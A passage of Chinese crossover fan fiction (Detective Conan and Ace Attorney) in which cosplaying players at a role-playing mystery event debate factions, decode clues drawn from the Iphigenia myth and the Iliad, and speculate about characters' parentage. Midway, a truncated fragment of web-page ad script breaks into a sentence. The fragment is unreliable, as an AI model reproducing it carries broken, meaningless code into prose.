汐华真理见甩不掉贝尔摩德,只能放任她跟着。贝尔摩德怀疑这位NPC其实悄悄ROLL了反跟踪,但是贝尔摩德这个正主太争气,甩不掉她。她还留心关注了路线,意识到汐华真理正大步流星朝着后台去。后台的工作人员肯定要拦他,贝尔摩德好笑地看着这个孩子为自己的装束解释,辩解——上前一步: “我要带他进去。” 她伸手揽住汐华真理的肩膀。美艳的眼睛冲着守卫使了个眼色,对方立刻低下头。莎朗要带人,谁能阻拦。至于带进来的到底是个男伴,保安,隐婚的老公还是卖钩子的,谁管她?越过门后汐华真理快走几步,挣脱她的手臂,无可奈何地回头:“您要跟着就跟着吧。”欠这样一个人情,体面一点的人也不能疾言厉色;哪怕是赤井秀一那种人都得说点包含弦外之音的修辞。莎朗心想调戏小孩真特么的好玩,在后台找了个沙发一窝,看coser老师在自己本就惊为天人的脸上画龙点睛。 她忽然想:原作里汐华真理怎么进的后台?出示了证件吗? 还是安室透带进去的? ……虽然事实并非如此。但贝尔摩德女士实在运气好,或许是上天指引,又或者是记性好的人的天惠时刻,灵机一动,甚至将疑问宣之于口: “波本在这艘船上。”她对着汐华真理说,知道自己面上的表情大概紧张又激动,不太好看。汐华真理没有回头,困惑的声音从面纱中传来: “您说什么?酒吗?我没空去拿,您可以叫侍应生。” “我的意思是,在这个剧场版,本来,就该有波本在。”贝尔摩德笃定地说。 这就是没有拍出来的部分!若干月前论坛那所谓“绯色反打红黑”的论点,未必就不是真相!这就是月之暗面! 假使邮轮是红黑的话,月暗是不是就是它的绯色? 她放下手机,双手交叠,赌一场。 汐华真理定住了动作。 这一刻,后台的化妆镜尽数变作水流般的屏幕,光线收敛变暗,一切都没入黑暗。与此同时的大厅、会场、以及各个场次,屏幕停止了多方转播,只剩下动画片段。是啊,我们是来看新剧场版的,不是吗?所有人后知后觉地想起这回事,黑暗如涟漪一般扩散到人们的脑后,视野中心只剩下屏幕倒影的明亮的光斑。 短暂的片头一闪而过。 开头是安室透与松本俊一分坐两侧。 影像由此起,由剧场版里汐华真理不太寻常的一个侧脸作结。彼时江户川柯南叫了一声汐华警官,这个青年人没反应过来,给出的借口是不习惯;这一回镜头直直朝着黑暗推进去,越过松本俊一,最后落在安室透的脸上。这个人曾经与观众仅有一门之隔。光吝啬地洒在他脸上,稍纵即逝。 片段结束了。 “天上大吉”。 你发现了我的秩序。你发现了我的谎言。 [记录已解锁1/?] [要逃避痛苦,最常见的便是躲进未来。在时间的轨道上,人们想象有一条线,超脱了这条线,当前的痛苦就不复存在。] 屏幕关闭,变回普通的镜子。汐华真理终于走了过来,天知道他刚才看起来多么像一个幽灵。他很有分寸地等到视频结束,也并没有回过头去看——顺带一提,这使得这一切看起来像他的走马灯,像一场幻觉——对了,贝尔摩德想:我和阿莱塔接受过侍应生递来的酒水单,背面就是那份信来着。 这里的一切都是虚幻的,都是推理得出的结论。 汐华真理状似苦恼地掀起头纱,问贝尔摩德:“我看起来还是很像男性。” 贝尔摩德定了定神,从方才的冲击里回神,心里感到没来由的害怕。其实不是没来由的,这是生物趋利避害的本能。她清了清嗓子才说:“戴着头纱,没人看你。”她心想虽然看原作,觉得我们小耗子总是吃瘪,但是或许是错觉。总是看高端局,忘记里面最无害的吃瘪位也并不是猪脑就能随便欺负的。 “我以为女演员莎朗会对于改妆很有研究。”他坦诚地说。贝尔摩德看着他的脸,一时间思想抛锚,第一反应是波本你这个小联络人胆子倒是超大,我能不能现在把他放倒。这种想法愈演愈烈,短短一秒变成了,这孩子真的只是个协助人吗,真的只有这么简单吗?他一定…… 他是不是个骗子? 贝尔摩德忽然想。虽然她总说谎言是女人的美德,但就如今而言,汐华真理绝对不缺少这一美德。仿佛一瞬间里真正的贝尔摩德忽然在她身上显灵,并且嘲笑道这个小孩会令许多人吃苦头。他凑得这么近,趁着贝尔摩德没有反应过来,把眼线笔塞进她手中。 要我在商业妆造师的基础上大改造,实在是强人所难自取其辱。贝尔摩德本来想着放弃算了,但是又想捏人下巴;像包法利夫人,又想死,又想去巴黎。这张脸很听话的凑近,贝尔摩德稍微怔愣了一下。倒不是因为好看——好吧其实也挺好看的——他的睫毛是白色的。眼皮遮盖下的双眼熠熠闪动,贝尔摩德的第一个反应来自于皮下这个社畜宅女:官方的美瞳质量就是好,感觉像流麻;第二反应来自于纯粹的身为人的审美偏好,对她说,这就像他的眼瞳如流动的血液一样。这是不同的,有些人红色的眼睛像火,有的像血;最后才落到贝尔摩德该留有的反应。贝尔摩德想起来白化动物身上不含色素,所以眼睛的颜色就是血的颜色。 我一直以为是这个小登紧跟潮流漂的头。结果居然是天生的?她捧着汐华真理的脸,中指和无名指指腹自然而然放在对方耳后,温度自然而然地传递到她的手指上。她随便闲聊,道:你的白发是遗传?大约有不到0.01秒的停顿,简直算不上停顿,汐华真理说是。 同时贝尔摩德感受到指腹搭着的耳后静脉狠跳一下。 64.休憩段00:10 “我们找到了……那首钢琴曲!”成步堂美贯夹着平板着急地往这边跑,差一点绊倒;汐华真理眼疾手快,把她捞起来,像捞一只兔子。美贯对她笑笑,不好意思地回头,发觉大部队已经改换阵地,坐到吧台最中间的大理石环形圆桌两侧。成步堂美贯下意识地找宫野志保,对方并不难找。 左一侧宫野志保正坐在最中间,面前的终端又多了几个,垒起来看像是监控室。她依旧盯着屏幕看,没有半点松懈。她这一侧除开她右手边一开始就在的降谷零,左手边的工藤新一,又很快多了一些人:都是熟面孔,松田阵平和萩原研二并没有入座,手臂支撑在宫野志保的座椅背上,看一眼,彼此就要低声说一些话;值得一提的是,此时这一侧尚留有空位。成步堂美贯捧着平板过去,挤在工藤新一边上。汐华真理刚要往那个空座上坐,被身后一只手拉起来:“有人。”他回头,松田阵平说:“成步堂说他要去叫绫里真宵,马上就回来。”汐华真理连忙点点头,站起来。不一会,成步堂龙一确实牵着另一个少女来了。挤一挤,也挤得下来(其实座没那么少的主要责任在于终端屏幕实在小,爆处二位只能搁后头站军姿了真不好意思下次还来)。 另一边的画风就比较微妙一些。先看到的其实是御剑怜侍;这位检察官站在正中央却低头沉思;视线下移,美柳千奈美抬起头,好整以暇地观察绫里真宵的神情。牙琉雾人站在一旁,双手背在身后,看似凝视着桌面,然而细看之下眼镜的反光更改了视线的落点,以至于需要集中精神仔细分辨才能意识到他正端详着成步堂龙一——只是欲盖弥彰地移开一点点视线,令他看起来不像是正在不死不休地直视成步堂龙一的脸。 然而,这一切簇拥的中心,苏格兰摊了摊手: “在经过考虑后……我还是坚持我们的判断。”他说,“我认为关键点应该在于故事的整体框架,纠缠于某一部分的文学引用太浪费时间了。我们费尽心思在古堡内解出的笔记本事实上是联邦调查局的各办公室备忘录、信件、古籍和猎鹰的拓印图——我认得出这条地毯来自于《双峰》。我们所收集到的线索清清楚楚地表明了一场愚昧的信仰所致的献祭。” 宫野志保没有正面回答他,而是低头跟美贯耳语几句,随后抬眼:“她来说。”与此同时成步堂美贯投回来一个求助般的眼神,汐华真理赶忙停止和萩原研二的闲聊,和她一起走到桌前。 “那首曲子是彪罗的《伊菲格涅亚在奥利斯》。”汐华真理简明扼要地开了个头,“刚才没有找到是因为它事实上是一首十九世纪的钢琴曲。美贯扒谱后让哈维翻弹了一遍,就找到了。” “而汐华真理在演奏的时候用的是里拉琴。”成步堂美贯接了上来,“后来演变成为小提琴,虽然弹奏方式已经大相径庭,然而给他使用也算合适。不过,关键点不在于琴的种类,而在于曲名和这种琴的出现时代。” “……你刚才说什么?”最先开口的却是美柳千奈美,“曲名叫什么?” “《伊菲格涅亚在奥里斯》。” “《荷马史诗》?”美柳千奈美不确定地问,苏格兰看了她一眼,她不客气地回看,“怎么了?千奈美可就读于勇盟大学文学系。” “特洛伊木马?” “那只是一个开头,一个序章。”美柳千奈美说,“在海伦被夺走之后,特洛伊要和希腊开战。” “伊菲格涅亚是阿伽门农和克吕泰涅斯特拉的长女,而阿伽门农则是希腊联军的将领。当战船会集在奥里斯港口时,阿伽门农外出狩猎消磨时光,射中一头献给女神阿耳忒弥斯的梅花鹿。他还夸口说,即使是狩猎女神阿耳忒弥斯本人也不一定射得比他准。女神听到他如此无礼的话十分生气。她让港口前风平浪静,船只根本无法从奥里斯海湾开出去,可是战争却该开始了。希腊人束手无策,只好去找大预言家忒斯托耳的儿子卡尔卡斯,向他请教摆脱困境的办法。卡尔卡斯说,要阿伽门农用他的女儿来偿还。” “那就不是里拉琴。”工藤新一忽然插了一句嘴,“如果可以确定到荷马时代的话,那就应该是西塔拉琴——那种琴更结实,为吟游诗人喜爱。不过说到底和里拉琴也是差不多的东西,无伤大雅,你们继续。” “希腊联军驻军于奥里斯港,但战争主要发生在斯卡曼德罗斯河。”宫野志保补充道,“而斯卡曼德罗斯河在古代叫克珊托斯河。” “……听起来很熟悉。” “是的。诗歌原文中说阿喀琉斯杀的特洛伊人的尸体堵塞了克珊托斯河,而阿喀琉斯的三匹战马,分别叫作:克珊托斯、巴利俄斯、以及从艾体恩城夺来的名马佩达索斯。前两者是其父结婚时从海神波塞冬那里受到的不死马,而克珊托斯更是被赫拉赐予了说话和预言的能力。它们跑的像风一样快,大概继承于父亲风神仄费洛斯,和母亲——哈耳比厄。” “‘哈耳比厄之恨?’”苏格兰几乎是下意识报出那个地点,“哈耳比厄是——” “希腊神话中的鹰身女妖。”降谷零作结,“也就是说克珊托斯马是鹰身女妖的儿子。” 闭环了。 宫野志保觉得好像可以下什么结论,但是犹豫了一下,却不知道从何下起,沉默了。如果这就是结论,又能证明什么?又能说明什么?官方费尽心思,拐着弯,诉说了伊利亚特宏大的战争之下一段渺小的悲剧。它究竟想要传达的又是什么? 假使它一定要落实在剧情中,会不会在暗示一段母子关系? “……难道当时那个假说是真的?”宫野志保看着一边的汐华真理,“万一,我的意思是,万一……贝尔摩德是你的母亲?” “那个亲妈论?”汐华真理说,“……难道我们真的要重拾这个论点了吗?但是我刚才在场内还真的没有接触到任何相关的剧情。这不应该啊。” “你刚才在哪一场?” “叶樱院。” “那一场我记得没有贝尔摩德……那你碰到其他NPC了吗?” “没碰到什么主要的。唯一能单独说得上话的似乎只有绫里贵美子,她看了我一眼,说了一句有点像就走了……但是我压根不明白我能和谁像,她能认识什么人跟我像?” 绫里真宵上下打量他两眼:“御剑是你爹。” 汐华真理差点咳死:“御剑才多大年纪?非要扯上关系也是兄弟……我记得白发的还有歌德,但他是被美柳千奈美下毒药导致的病理性白化,先天还是棕发。” “游戏里没交代御剑的母亲吧?”成步堂龙一回想了一下,“信爹一直是黑发,信乐盾之也是。” “你说的好像信乐才是御剑的母亲一样。人家是律师助手!而且是男的!”降谷零补充,“而且御剑本质上算灰发吧?” “生到汐华真没墨了。” “……这算什么理由。” “这怎么不能算理由!再说了遗传本来就是很神奇的东西啊,艾琳娜的两个女儿有哪一个是金发吗?玛丽的三个孩子全是黑发又怎么了。” “啊那合着重制版的御剑也有妈了?这时间轴能对上吗?难道我们现场去搓一盘逆检2?别说御剑精选集最近刚发,说不定真有什么隐藏剧情,信乐说御剑啊其实你妈是女演员,你当年还有个弟弟,但是御剑信死后你就跟着狩魔检察官,弟弟则跟着舟桥刑警生活,你看看现在也是一个检察官一个警察……其实挺通顺的,就是这史是不是太野了一点?” “那这和工藤新一还不一样,堂兄弟当小偷就算了,御剑和汐华这是亲妈违法犯罪啊,俩人不得双双被免职?” “……” “考公回家考去。” “……我开个玩笑。” 干饭回来就口出狂言的黑羽快斗缩了缩脖子,表示自己纯粹是活跃气氛;然而好死不死的所有人的终端同时震动——大伙知道这有多吓人吗?卡在这个点震动,搞得好像考公解锁了什么区域一样。好在工藤新一反应快,抓住刚才讨论的重点:“所以我们给汐华真理找对妈了?真是贝尔摩德?” “……感觉没那么简单,不过方向没准是对的。总之看看是哪个场子解锁了……呃,又是叶樱院?” 而后一片寒意裹挟着风来,掠过所有人身边,像许多夜晚重叠。虽然有过之前的短暂相处,宫野志保心中清楚这位琴酒皮下也是普通的女孩,但她不张嘴,不出声时,看起来如此沉默,如此压抑……她毫不犹豫,坐在苏格兰那一边,最偏僻的角落。但是显露出难得的疲态,摘下礼帽遮住半张脸,玻璃杯折射的光线恰巧落在她闭着的双眼的睫毛上,上面凝结着冰晶。汐华真理轻声说:“我记得叶樱院有人造雪。” “冰雪的预示”。 夜雪吹彻,犹在风中。 [区域已解锁] [“一个人所历经的死亡和她一生里肩上所能承载的雪一样。”] “——阿莱塔就是波士力娇。” 短暂的几秒休息之后,琴酒说。语气平静,好像没有意识到自己丢下一个多大的炸.弹。还没等对面玩家追问,又有另一个声音,轻飘飘响了起来: “真的?我自己都不知道啊。” 她说这句话的时候,黑夜与白昼融化远逝,围绕着旅馆的湖水正在慢慢变得血红。铁锈般的颜色。忽然之间,大家彼此心知肚明,有些什么事发生了,感觉浑身发冷。但是大厅内的暖风空调正常运转,只是静谧抽离了所有温度。 阿莱塔手上端着酒,她的视线来回反复地看,最后,十分庄重地问:“——假设琴酒说的是真的吧。苏格兰。你得给我一个解释,你为什么把我弄死了?” 苏格兰抬起头,微笑的角度无可指摘。但还没等他说什么,几乎所有人异口同声,全对着阿莱塔:“你把我们都弄死了!” 阿莱塔:……? 她回头,看着宫野志保。宫野志保举起手:“我刚才没出声。我确实是汐华真理送下来的,没污蔑你。” 阿莱塔:“那除了你以外……” 汐华真理举手:“我是在叶樱院被毒死的。我猜是千奈美?这个不清楚;零哥其实没死过,是事业心太强弃了游玩来大厅搞情报。美贯是大会场的观光票来解密,雾人老师是我打下来的……剩下的可是真没冤枉。” 工藤新一听后,皱了皱眉:“也就是说在场的死者——也包括我,政斗场对阵严徒海慈的时候被阿莱塔领着牙琉响也罚下场——多多少少都是阿莱塔和汐华真理拉下来的?” “……还真是。你们两个呢?”阿莱塔指向松田阵平和萩原研二,得到的回答也基本上是在一柳万才那边栽跟头。她有些不可置信,最后看向刚刚落座的琴酒,“……连你也是?但是这也太——” “如果不是你,”琴酒一把扣在她指过来的食指上,有一瞬间她看起来真的被原作中的那位TK异地登陆,“——我又怎么知道阿莱塔就是波士力娇?” 叶樱院落满了人造雪。但是显而易见的一点也不冷,也是照顾各位穿着不便的COSER们。 这位琴酒其实也去玩过逆转裁判本体游戏,知道绫里舞子即将命丧今日;出于某种意愿,她很想试一试,想知道自己能否拯救她,或者只是改变任何一点;于是她一路躲进内院,在舞子跑来的时候——事实上那个时候跑来的已经是千奈美了。但是千奈美其实比舞子好应付;对于琴酒来说。千奈美在原作中战绩不俗,但是无论如何,ROLL得过琴酒还是太超过了一点。 她没ROLL过,所以被制服了。过了短短一刻,舞子重回人间。 说到底,琴酒并没有大幅度参与本场剧情,没有(像同一场的汐华真理那样)在叶樱院房间内研究毒不毒的,而更多的人则偏好于它附带的模拟法庭,也就是线下的律检对决,并没有在这片雪地耽搁太久。她只是非常可怜——可怜绫里舞子。 她自己也不明白这个念头为什么诞生。 至于期间怎么险之又险地躲了赤井秀一,单人解了一处密码,如何意料之外地发现阿莱塔出现在这里,说起来也不有趣。她本身非常沉默,非常非常沉默。落在人群中肯说两句话,单独出来就好像生下来缺一张嘴。 绫里舞子醒来时,没有大呼小叫,保持得体的礼仪,大概是认为无论如何面前的人不会忽然暴起伤人(她一个玩家也没办法伤你),于是站起身,理了理裙子,扶着手杖行礼。先生,感谢您的相助。但是,与其说是运气,不如说是命运。 命运? 不能更改的就是命运。 您已经得到了可怕的助力。 ……。 第四百年被捞起来的装着魔鬼的瓶子。绫里舞子说,毫无疑问,我知道您从事的行业并不清白。自从您加入以来,那个组织先是缓慢衰败如将死老人,然而今天就要复生。死里逃生,你功不可没。您的BOSS若能看到今日景象,也许会十分宽慰。 琴酒沉默了一会,才说:我想到过阿莱塔就是组织成员,方才她也多次对我睁一只眼闭一只眼,有时候也肯为我打一打掩护;不过真的看到可能性成真,还是非常……意外。 她说到这里,苏格兰插了一句嘴:“其实我在古堡里也总觉得自己被放水了……说到底,NPC不放水是不行的吧?” “但他们凭什么选择我,凭什么选择你?……我为此付出了代价,但并不是一个人献祭后才有资格获得启示,而是有资格献祭才获得启示。” 绫里舞子微笑了一下。她耀眼的白色皮肤已经因光线暗淡下来,一直暗到它像一朵黑暗中盛开的奇异之花一样散发光亮。当她时不时地抬手抚摸项链时,她宛若莲瓣的面庞下的喉咙便闪着金色的光斑,那是火焰氛围灯的杰作:作为奖励…… 看看窗外吧。她说。 到那时,天全黑着。只有某些黄色卷曲的云顶闪现出的闪电,使漫漫黑夜充满了惶恐不安。远处雷声的窃窃私语打破了寂静,在冒着烟的篱笆里,一群群萤火虫逃逸而出,就像杰出的铁匠师傅在那座火山中打铁时飞溅出的火花。山高耸成紫色,背后的闪电时不时地映衬着它。电闪雷鸣,天崩地裂。琴酒总觉得黑夜中有什么在凝视着她,令她脊背滚烫。 火焰中有一个人。宛若生来就在火焰中。但是她的一生却好像变成雪落下来。很奇怪,因为她们离的很远,本来应该认不出人脸来。但此时此刻,毫无疑问,这个人就是阿莱塔。TV中没有出现的阿莱塔。不会有别人了。 她以为这就是奖励,回过头,对绫里舞子叮嘱(或者说威胁)几句,不要再灵媒千奈美了,也不要靠近你的女儿。因为她接下来为了保全自己,一定会灵媒千奈美。女儿杀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了母亲还是母亲杀了女儿,她都不想看。出于一种隐秘的警惕,和对于俄狄浦斯倾向的怀疑,她感到不幸正在降落。绫里舞子却低着脸,神色不辨。好半天,她说: 这件事其实不该告诉你,你并不是那个最恰当的人,但这里只有你。而预言一旦作出,就必须说与别人听。我终于明白,终于想到了。她当然生下了孩子,但孩子们的母亲并不是她;而且她的孩子们也是我—— 琴酒以为这就是叶樱院的尽头。但是绫里舞子轻轻地笑了一下,像一只紫色的蝴蝶降落在雪地上。闪电就在此刻落下,照的人脸透亮,仿佛她在烧。 闭嘴。 拉娜唯说。 绫里舞子倒在了地上。顷刻之间,她灭口了这位女预言家。她像火。她带来火焰。她抬起金色的眼睛。 你也一样。 “……拉娜唯?” 降谷零问。 “严徒海慈其实这么叫过她的。”牙琉雾人说,他嗤笑一声,“小拉娜。” “所以这是我的本名吗?”阿莱塔歪了歪头,“看我干什么。” “你不惊讶,也不意外?” “你知道吗,我刚从邮轮下来。”她斜斜地倚靠在桌角,“志保,那个拿了你终端的莱伊转告了我一个早期的线索。当年讨论时只说会不会是红方黑写,或者干脆是假情报,现在倒是可以拿上台面来旧事重提了。‘连环杀人犯只喜欢挑选和他同一种族的人种进行残杀’。她叫什么来着?” “……我以为那句话的逻辑链条是,因为连环杀人犯只会挑选与自己同人种的受害者,所以那个凶手应该是一位日本人,不是阿莱塔。结果现在的逻辑却是:阿莱塔是凶手,只不过她并不是连环杀人犯?这简直是诡辩。”工藤新一闷闷地说,阿莱塔并不客气地指控他,“但是这就是你在原作里的发言。弟弟。” “那这下阵营又难看了。”宫野志保皱眉,“那如果以阿莱塔,或者说,拉娜唯做落点,她是黑方,那苏格兰岂不是又变回红方?考虑到这二位互相杀了下来……但是拉娜唯又把琴酒送下来了。” “拉娜唯没有要苏格兰的性命,但她又结结实实地杀死了舞子。”降谷零有些迟疑,“难道可以用人命去简单的推测阵营吗?杀害的人比保护的人多,所以是黑方?这好像不合适。但是连人命都不合适,又有什么配做依凭呢?” 心可以是衡量的标准吗? “那现在最要紧的就是定拉娜唯和苏格兰的阵营。只要定下他们的,就像展开了横纵坐标,棋子的落点也有了定位。” “或者干脆他们哪个卧底一下,叛徒一个——干嘛这么嫌弃地看我!”汐华真理举手,又很快反应激烈起来,“是很老套,但是你就说能不能说通吧?苏格兰是卧底,拉娜唯是叛徒,俩人私相授受沆瀣一气,古堡的时候就在袒护,到了叶樱院正式反水把琴酒搞下来了,不挺通顺的?苏格兰刚才不是说能感觉到自己被放水的挺严重的,如果连那一场的阿莱塔实际上也是叛徒,那确实该放水。” “那也……”阿莱塔表情不是很好,“酒厂未免也太惨了?五颗暗棋,翻上来又是全红这算什么?” “我还没翻。”宫野志保举手。 “其实你翻不翻不重要姑娘。”美柳千奈美在对面摆了摆手说,“姑娘你的战斗力,呃,怎么说,影响不在主战场。而且你迟早会红,解药全押注在你身上,不肯红也有人帮你红。” “那就是勉强给汐华真理挂了一点灰?”降谷零问,“贝尔摩德本身就黑的不彻底,儿子又能歪到哪儿去?……更何况如果这么离谱的推测真的成立,还有个御剑盯着他。” “你也盯着他。” 桌子对面的苏格兰非常友好地补了一句。 降谷零闭上眼:“……我觉得你也没少盯。所以呢?”他喉咙紧了紧,“你是不是应该坐到这边来?” 他这话一出,全场拍手称快(也不是)。但是张嘴的都开始起哄了,还有个别看热闹不嫌事大的吹了个口哨,好一副哦没得多的景象,仿佛这一刻就该来个人打板喊咔然后大伙一起包饺子。松田阵平和萩原研二反应最快第一个在后面起哄,心理年龄加起来预计不超过鞋码,跟小学生一样。谁知降谷零神来一笔,竟然神游天外,嘴里蹦出一句hiro,你——? 要知道他刚才可是一直一直叫苏格兰,这一下换称呼把全场都干了个沉默;连带着苏格兰都露出意料之外的笑容,立刻低头掩饰。并不出于向盟友取信,并不出于向持有反对意见的对手示威;虽然他身处大厅,心灵却并未停滞疾驰。只是这一刻,他对于这意料之外的反应下意识地踩下刹车,列车因为惯性而滑动了一点。这个笑容就是一点点车轮碾压钢轨的声音。还是绫里真宵一拍桌子,喜气洋洋迎上去,用原作游戏里拉已死的绫里千寻和成步堂龙一见面的动作(听起来好不吉利)拉降谷零和——要不就说诸伏景光吧,拉手,高呼:“这位先生,无论是富有还是更富有,健康还是更健康——” 红方好一阵人民群众欢欣鼓舞的热闹景象,看了令人动容。宫野志保本来不想凑这个热闹,但是真宵非常开朗,一把把她拉过去,汐华真理动作超快马上补位,坐下来。另一侧倒是还算平静,只是诸伏景光走后阿莱塔理理衣摆想要过去——按照一般的礼仪来说,应该是牙琉雾人往里挪一个身位,然后阿莱塔坐在他让出的位置上;但不知道为什么,牙琉雾人却起身了,让开一条道。阿莱塔就这样怀着一点儿疑惑坐到了主位上。她感到阴云密布,一度认为真正的游戏才刚刚开始。想起有位编剧说,如果一个电影的开头是婚礼或者葬礼,那么它定然有着强烈的叙事野心。 现在算吗。是婚礼还是葬礼呢。 她问牙琉雾人:“你们刚才……商议出的结论是什么?” “能有什么结论?”牙琉雾人笑笑,“宫野小姐秉持着考据的精神找到了荷马史诗中人类文明的宝藏,而苏格兰则坚持认为探员们的笔记才是关键。您刚才是从邮轮下来的?我记得和宫野小姐的场次相同?您说不定一会儿也要坐到对面去。” “……探员吗。”她复述一遍,声音很低,“虽然被那家伙弄死了,但是……”她想起酒水单上的文字。 “我却不能不去相信他。” 她叹了口气:“明明一边儿是电影,另一边是探员,但女演员不在这里,FBI头子也不在这里。最适宜的人却不在。” 牙琉雾人饱含弦外之音地看了看她。并未多说一句话。 在人群之中,成步堂美贯抱着平板费力地挤过来。汐华真理看见她东倒西歪,还在找宫野志保,说你告诉我也好。成步堂美贯想了想,犹豫一下,展示屏幕。 电影《伊菲吉尼亚》。 年轻的小公主知道只有自己去死才能换得父亲的胜利,她对母亲克吕泰涅斯特拉说:这是献祭。妈妈,请不要怪罪怨恨父亲。她的母亲,这个给国家的王后,此时像一头又怒又痛的雌狮,面色铁青,声嘶力竭地大吼: “他要!他要为此付出代价的!不是献祭,是谋杀!谋杀!残忍的,懦弱的谋杀!” 汐华真理立刻感到心下一空,女演员的演技惊人,他几乎以为自己受到了指控。他仓皇地抬起头,于是隔着桌面,阿莱塔与汐华真理预料之外地对视了。 65.休憩段 终 如果说刚才的讨论中还有什么可圈可点或者值得怀疑的地方的话,那么成步堂美贯交出的答卷几乎踩中了得分关键,再加上双峰派的带头人苏格兰都被对面掏出暹罗猫来抓走了,立刻失去了探讨的必要性。 既然意识到要踩着伊利亚特作解,那么正在游玩,还未回归大厅的玩家终端联络现加的朋友后,也大概知道了本次活动的中心思想,更知道了阿莱塔真名拉娜唯这个信息,知道她或许是黑方——不过谁知道她掺水多少。 汐华真理想起降谷零是事业心大爆发才留守大厅,于是推着人家说要他非玩一次不可。刚好联动场下来了一个舟桥佑希,孩子拖着裙子到处跑累的要死,终端一丢,再不想其他。终端被顺理成章地交过来。降谷零没有辜负她的游玩权限,在联动场不知道怎么一番操作,开出隐藏视频,类似于贝尔摩德的那一种。 不过说实话他自己或许都不知道自己是怎么开出这个视频来的,不过是他一时兴起,抑或是执念未消;想起原作的来叶山降谷零并未亲历亲为,没有捉住赤井秀一。这一次我亲自来呢?没捉住,我是玩家,不败坏正主风评;捉住了,那就算正主头上。于是他转变主意,汐华真理(NPC)跟他扯来扯去的时候,他忽然一转话头,说我陪你去。车在地下车库?我来找你了,开门。 他找到地方的时候地下车库里对面的车好死不死,远光灯一打,像没长脑子。这道光没有直冲着降谷零来,因此他只是不满,视线刚转过去,意识到帮他开车门的NPC被照了个正着,于是立刻关心说没事吧。对方皱着眉头,揉揉眼睛,一张脸被照的惨白一片,简直和头发一个颜色了。 “不要拿手揉眼睛。”降谷零说,“特别是你还戴着美瞳。滑片会划伤眼角膜。” 汐华真理点点头,红色的眼睛从手背下如同极昼天空中升起的两颗红巨星。天上是日光,天下是白雪。他端的也是工作人员的架势,说那我确认一下您要和我一起去对吧。是的。和你一起。 他的动作忽然怔住了。降谷零以为有什么问题,对方回头,他吓一跳,以为是哭了。这算什么,因为我和他一起行动而感动哭了?什么毛病?眼边掠过一道流光,看着像没落的眼泪,在漆黑的地下车库发着淡淡的光。这场景用秒计犹嫌漫长。“……真的这么难受的话要不你先去休息一下?” “呃,我想我还好?” “眼睛不要紧吗?” “我还没有那么脆弱。” 汐华真理微微地笑一下,点点头:“抱歉。” 有一瞬间他的情感涌动得就像是正主夺舍上身,令人不敢细想,如同站在雪山中的人只能轻声细语以防备即将到来的雪崩;好在这句话把他从那种境界中拉了回来,让人知道:你并不亲身地站在雪山之中。这没有什么可抱歉。 在这之后车行驶出去,外界似乎潮湿,像是刚有大雨莅临此地。就在持续的、稳定的汽车引擎发动声里,他听见一个声音。 这一次是车窗玻璃画面流动起来,连带着大厅里的玩家,大会场里的游客一并看了这里的月之暗面——原作之中是人们朝着检查局聚拢,仿佛被引力蛊惑。汐华真理在这里,在人群漩涡的眼睛之中,像一颗星星。人头攒动之中他公开自己的身份,如此坚定如此结实地表明自己对自己的身份认知,至于天上下钱雨……观众不会思考这些的。你见过谁纠结纯黑的噩梦摩天轮顶斗殴的时候为什么要放烟花吗。汐华真理亮明自己是红方,并不出人意料;但是他拽着降谷零一起明牌,立刻变得十分爆炸性;这么一来,的确没有什么人去纠结下钱雨这种事了,大不了都是或真敷剧团干的。 这一回却放出来了视频——也算是为一起被卡在路上(由于被盯得很死而不能跑路的)汐华真理和降谷零做解答:你们为什么会被卡在路上?人头为何攒动? 他看见楼顶。若隐若现,似近似远。夜风在吹,在疯狂地吹……镜头移上去。无数双眼睛盯着取景框中央那个女人的脸,背后是黑云覆盖之下垂死的天幕。西南角泛黄的天空映衬着破伞残缺的云絮,正朝着她的背后压制而来。构图中肆意而自由的云层御风狂澜,在张牙舞爪的世界里丰富多彩。 所有人一并一动不动地立在原地,心中仿佛被风暴鼓动,哪怕都不知道这风暴来源何地;几乎是敬仰地看着她从朗姆手里掏来十亿,然后看也不看地随意丢弃。远山的雷电忽隐,拼凑出了惶然的预感,仿佛今夜注定要冲出天神庇佑的手掌。或者说今夜,拉娜唯就是那个天神。可以随意驱使数以万计的人类,可以随意倾泻下如注的一个人一生都不能见到的金钱。而这一切都变成了汐华真理的背景板。 降谷零忽然福至心灵。 他说: 汐华真理的母亲不是贝尔摩德。是拉娜唯才对。 “金阁寺”。 你越过了我。你永远不能越过我。 [记录已解锁2/4] [无论什么事情,只要站在终点眺望,就会变得宽容。] 这个视频讲述了拉娜唯如何铤而走险,选择扳倒严徒海慈,来向一柳万才发出邀请。 第三个碎片在叶樱院被解开。说起来虽然名头记在小泉红子——这位玩家真是与正主别无二致,不爱和其他人交流,从不在大厅歇脚。性格古怪,然而并不至于不明事理,大大方方承认自己就是踩了之前那个琴酒走出的道路,想到庭审似乎不是绝对意义上的大头。她直言琴酒开出的剧情非常重要,毕竟是实实在在地被拉娜唯砍了下来——使得她只需要做一道证明题而不是推导题,于是大大方方地分享了这份光荣;于是她在叶樱院反复寻找,找到了拉娜唯曾出现的痕迹以及宫野明美被灵媒的这个事实。 凭借这个解开了拉娜唯的录像带,发现女士并不一直在叶樱院,在此之前,她竟然和牙琉雾人共同商量着什么。原作中牙琉雾人的出场时间还不如这次活动多。另一半录像带,则是明确表达拉娜唯可以认出,乃至看见美柳千奈美——难道她和绫里家有什么关系?不过看起来,她和千奈美的关系不像是多好。 有小道消息称这个玩家私底下真的是小女巫,扮演小泉红子是彻头彻尾的本色出演,进了叶樱院就铺毯子开牌点蜡烛,占出了故事线。更有传言说当时论坛里占出联动篇监控时间有误的也是她,大家信也不信,就当看个乐子;谁说玄学不是努力的一部分呢。倒也有人信了,悄悄找她,问拉娜唯真和绫里家有关系吗,真的吗真的吗。她对着牌皱眉,好半天来了句:什么叫是也不是?跟精神分裂似的。再看细节,牌意一片混乱,不知所谓,众人一哄而散,对外只夸说小泉红子那个女孩,呃,推理能力肯定超级厉害。 人民群众的嘴真损啊。 “族长的冬天”。 湖涛拍打之际。 [记录已解锁3/4] [直到湖水覆盖地面,覆盖了整片时间与空间;雪已经全都化尽了,只剩她一人孑然一身地趴在她孤寂蔓延的根源环绕中心。] 